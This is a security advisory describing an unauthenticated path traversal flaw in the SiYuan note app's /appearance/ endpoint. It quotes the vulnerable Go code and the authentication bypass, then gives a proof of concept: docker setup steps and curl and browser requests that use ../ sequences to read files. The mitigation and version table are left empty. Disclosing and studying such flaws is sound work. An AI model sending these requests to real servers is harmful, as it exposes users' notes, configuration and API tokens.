Lack of data validation - Path Traversal In github.com/siyuan-note/siyuan/kernel
Description
Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal
Summary
The Siyuan kernel exposes an unauthenticated file-serving endpoint under */appearance/filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
Details
Vulnerable Code Location
File: kernel/server/serve.go
siyuan.GET("/appearance/*filepath", func(c *gin.Context) { filePath := filepath.Join( appearancePath, strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ) ... c.File(filePath) })...
Technical Root Cause
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
Key issues:
1. Unsanitized User Input
The path component extracted from the request is not validated or normalized to prevent traversal.
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
This preserves sequences such as:
../ ..\ (Windows)
2. Unsafe Path Joining
filepath.Join() does not enforce directory confinement.
This escapes the intended directory.
3. Direct File Serving
The resolved path is served without verification:
c.File(filePath)
Authentication Bypass (Unauthenticated Access)
Authentication middleware explicitly skips /appearance/ requests.
File: session.go
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") || strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") || strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") { c.Next() return }
This allows attackers to access the vulnerable endpoint without a session or token.
Exploitation Scenario
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
GET /appearance/../../data/conf.json HTTP/1.1 Host: target
Because authentication is bypassed, the attack requires no credentials.
PoC
Step 1 — Create marker file
mkdir -p ./workspace/data echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt
Step 2 — Run SiYuan container
docker run -d \ -p 6806:6806 \ -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan \ --workspace=/siyuan/workspace
Step 3 — Confirm service works
Open in browser:
http://127.0.0.1:6806
Exploit PoC
Method A — using CURL command
Use --path-as-is so curl does NOT normalize ../.
curl -v --path-as-is \ "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"
Output
HTTP/1.1 200 OK POC_EXPLOITED
Method B — Using Browser
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt
If method B is not working, use method A, which is CURL command to do the exploit
Impact
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
Workspace configuration files
User notes and stored data
API tokens and secrets
Local system files (depending on permissions)
This may lead to:
Sensitive information disclosure
Credential leakage
Further compromise through exposed secrets
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version |
|---|---|---|
go |
Aliases
References